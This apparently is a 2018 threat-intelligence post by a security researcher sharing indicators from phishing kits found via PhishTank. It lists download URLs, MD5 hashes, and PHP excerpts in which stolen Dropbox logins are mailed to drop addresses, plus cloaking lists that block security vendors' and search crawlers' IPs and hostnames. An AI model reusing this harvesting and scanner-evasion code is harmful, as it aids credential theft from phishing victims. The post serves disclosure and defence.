2018-01-12 2nd set of Phishing Kits from PhishTank

hunting #phishing kits
5 more from the depths of the @PhishTank_Bot
all phishing kits were still available just a bit ago
all should be uploaded to VT

@neonprimetime security

http://designsbysimone.com.au/dsign/images/ipad.zip
http://mm-data.info/Account-security.zip
http://souvenirkaretbdg.com/wp-includes/fonts/homes/hardproxy/newfile/update/chines001.zip
http://www.spotbm.com/jss/yahoo_files.zip
https://ramy91.beagletraining.co.uk/ramycram8u/pdf_filez.zip
https://ramy91.beagletraining.co.uk/pdf_filez.zip

6e730deaae123c9b084e1f4a363f36f2  Account-security.zip
6e98d35fc5483ff322cd6c08841651bd  chines001.zip
b8436f28d600a4e10e0ef1c20b6e5422  ipad.zip
8b3c7e55ad26265a4dbe85480e39cf15  pdf_filez.zip
32b29d22c80ffdde70647941bdb638cc  yahoo_files.zip

$msg .= "Dropbox Login Info by Abbeymilli\n";

$to = "boazherrera@gmail.com";
$send = "nicolasoscar1@zoho.com";
mail("susanging1141@gmail.com",$subj,$message,$from,$domain);
$sent ="robertdsmith0@gmail.com,sirtammyyo@gmail.com";
$recipient = "rdebbi78@gmail.com";

$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "paypal");


$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");